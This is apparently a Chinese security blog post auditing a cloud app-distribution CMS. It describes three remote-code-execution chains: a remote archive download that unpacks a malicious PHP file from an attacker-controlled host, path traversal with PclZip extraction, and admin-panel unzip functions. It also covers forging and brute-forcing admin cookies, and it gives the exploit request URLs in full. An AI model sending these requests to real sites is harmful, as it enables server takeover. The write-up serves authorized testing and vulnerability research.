某云分发系统前台RCE代码审计和利用

前言

前段时间领导安排了一个任务,测试一个网站,要求找一下漏洞之类的。恰好找到了源码,因此就审计了一下。

火星兔云分发

源码寻找

通过百度搜索,网盘搜索的方式,在CSDN论坛上找到了该源码。大一时恰好把自己的java课程设计传上去了,因此也有积分能下载。没积分可以去某宝代下载。

image

网站安装

网站安装比较无脑,这里用的是phpstudy,直接下一步下一步就好了。

image

image

渗透测试

先黑盒走一遍,没发现啥有啥能前台利用的漏洞。

image

且后台有一个能执行sql的功能,好像也就没发现别的了。

image

那就直接开始代码审计了。

代码审计

前台远程文件下载导致的RCE

第一条利用链

source/pack/127.0.0.1/download.php
发现在这个php文件这里存在一个远程文件下载的漏洞。

即通过file_get_contents获取vps服务器上的压缩包(带恶意php文件),通过fwrite写入到本地、并通过exec调用本地的tar命令去解压,从而释放出里面的恶意PHP文件。

image

准备一个压缩包,并上传至服务器的/data/cert/目录下。

然后再/data/cert/的父目录下启动一个http服务

这里我是用python2起的服务。

python2 -m SimpleHTTPServer 8089

python3也可以

python3 -m http.server 8089

image

执行payload

/source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=压缩包名&site=2022&id=11

image

通过vps上的日志,以及本地监听网站目录的文件结构变化,可以看见。压缩包下载成功,且被解压,并成功释放出了其中的恶意PHP文件。

访问/source/pack/127.0.0.1/work/2022.11/1.php

可以看见phpinfo被成功执行。
image

实际测试时发现,disable_functions中禁用了exec函数

第二条利用链

环境搭建

这里我们禁用一下exec。

php.ini的中的disable_functions项中,添加一下exec

image

重启一下服务器,在phpinfo里面可以看见exec是被禁用的状态。

image

再次发包,可以看见,无法解压test.zip

image

寻找利用链

source/pack/zip/zip.php
在该cms中,存在一个PCLZIP类,该类下有一个extract方法是用来对压缩包进行解压的。

image

通过全局搜索new PclZip发现以下文件中均初始化了该类。

image

漏洞分析利用

其中在source/pack/webview/ajax.php

可以看见,当ac=webview时,有几率是可以进行解压的。

image

那么来分析一下,这里能解压的前提条件。

第一个条件:

从此处的全局变量命名可以很明显看出,是用来判断有没有登录的。

1
$GLOBALS['userlogined'] or exit('return_0');

这里有包含了user.php文件,进去看看这个文件。

image

这里很明显,是从cookie中获取in_useridin_userpasswordin_username,然后判断是否合法,并返回对应的布尔值。
image

这个问题很好解决,该系统默认提供了注册接口。直接注册一个账号就可以了。

image

1
$GLOBALS['erduo_in_points'] < IN_WEBVIEWPOINTS and exit('return_1');

这里是判断全局变量erduo_in_points的值是否小于IN_WEBVIEWPOINTS

IN_WEBVIEWPOINTS的值在source/system/config.inc.php中被定义成了20

image

也就是要判断erduo_in_points的值是否小于20

此时看一下erduo_in_points的值是什么。

发现是一个下载点数。

image

当前注册的账号,默认下载点数是50,因此两个条件都满足了。

image

也就能够对ipa压缩包进行解压了。

将压缩包改名成ipa

image

发送payload。

1
/source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=ipa&site=2022&id=11/../../../../../static/pack/webview/

通过日志和查看压缩包,发现ipa.zip已经被修改成了恶意压缩包。

image

此时尝试解压
/source/pack/webview/ajax.php?ac=webview

可以发现,的确解压成功。

image

此处很明显,新的目录是一个时间戳,因此在实战中我们需要爆破一下。

在发送解压请求时,服务器中响应了Date。

image

Sun, 04 Dec 2022 07:50:13 GMT

Sun代表星期天

04 Dec 2022 代表 2022年12月4日

07:50:13 GMT这是一个格林尼治所在地的标准时间

这里将GMT时间转换成北京时间。

http://www.timebie.com/cn/stdgreenwichmean.php

image

最后时间也就是2022年12月4日下午15点50分13秒。

https://www.beijing-time.org/shijianchuo/

转换成时间戳,也就和本地监听到的是同一个时间戳了。

image

最后成功RCE

注:这里的数字3也就是cookie中的in_userid的值。
即:$time = $GLOBALS[‘erduo_in_userid’].’-‘.time();

image

然而实际测试,默认的注册账号只有10积分,离谱。

第三条利用链

这条利用链,利用比较苛刻了,要求你进后台。

source/admincp/module/develop.php

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function down_zip($zip){  
ob_start();
@set_time_limit(0);
$file=fopen($zip, 'rb');
if($file){
$headers=get_headers($zip, 1);
if(array_key_exists('Content-Length', $headers)){
$filesize=$headers['Content-Length'];
}else{
$filesize=strlen(@file_get_contents($zip));
} creatdir('data/tmp');
$newf=fopen('data/tmp/app.zip', 'wb');
$downlen=0;
if($newf){
while(!feof($file)){
$data=fread($file, 1024*8);
$downlen+=strlen($data);
fwrite($newf, $data, 1024*8);
ob_flush();
flush();
} } if($file){fclose($file);}
if($newf){fclose($newf);}
}}
1
2
3
4
5
6
7
8
function un_zip($dir)  
{
include_once 'source/pack/zip/zip.php';
$unzip = "data/tmp/app.zip";
if (is_file($unzip)) {
$zip = new PclZip($unzip);
$zip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER);
}}

可以很清晰的看出,这个文件的功能是下载和解压压缩包。

下载可利用download.php中的方法,也可以利用develop.php中的方法。

这里先以download.php为例。

/source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=app&site=2022&id=11/../../../../../data/tmp/

登录后台,访问/admin.php?iframe=develop&unzip=s

image

压缩包解压成功、访问/source/plugin/1.php也成功代码执行

image

如果是要通过develop.php去下载压缩包。

image

source/system/function_common.php

image

下载压缩包

/admin.php?iframe=develop&step=s&zip=base64编码后的url

解压压缩包
/admin.php?iframe=develop&unzip=s

image
image

那么问题点来了,怎么进后台呢?

进后台的方法

首先登录框这里是没有验证码的,好像是可以爆破?

但是实际上,在系统安装的时候,设置管理员账号和密码时,要求管理员账号必须是邮箱格式,也就是说,你得先知道对方注册管理员时,所使用的邮箱后缀,才能去爆破。不然你爆不出来。

image

那么这里也就只能从认证流程出发,去看看有没有漏洞了。

认证流程

删除一个后台接口的cookie时,会提示我需要认证一下。

image

那么全局搜一下这个失败的认证的提示字符串。

未登录或登录已过期,请重新登录管理中心!

image

只有一个,进去看看。

1
2
3
4
5
6
7
8
9
10
11
function Administrator($value){  
if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminname']) || empty($_COOKIE['in_adminpassword']) || empty($_COOKIE['in_permission']) || empty($_COOKIE['in_adminexpire']) || !getfield('admin', 'in_adminid', 'in_adminid', intval($_COOKIE['in_adminid'])) || md5(getfield('admin', 'in_adminpassword', 'in_adminid', intval($_COOKIE['in_adminid'])))!==$_COOKIE['in_adminpassword']){
ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
} setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
$array=explode(",",$_COOKIE['in_permission']);
$adminlogined=false;
for($i=0;$i<count($array);$i++){
if($array[$i]==$value){$adminlogined=true;}
} if(!$adminlogined){
ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);
}}

image

从这个代码来看,后台的权限分离跟纸糊的一样,是通过cookie当中的in_permission的值来区别的。

image

image

此处判断是否登录状态,是通过判断in_adminidin_adminpassword的值是否对应,且in_adminexpirein_build
in_adminname的值不为空。

image

默认管理员的in_adminid的值是1,那么也就是只需要爆破cookie中的in_adminpassword的值就可以了。

而这个值也就只是两次md5加密生成的。

image

实际上也就是只能做参考使用,毕竟我没爆出来。

总结

有一说一,不喜欢审计PHP。

比如这个系统里面,如果ta的系统想要正常运行,就不应该在disable_functions里面设置exec被禁用,不然正常功能都不能用了。

找了三个利用方式,没一个能用,很打击人。

文中所使用到的工具

https://github.com/Lotus6/FileMonitor
https://www.xp.cn/download.html
https://www.jetbrains.com.cn/

Author: jdr
Link: https://jdr2021.github.io/2022/12/04/某云分发系统前台RCE代码审计和利用/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.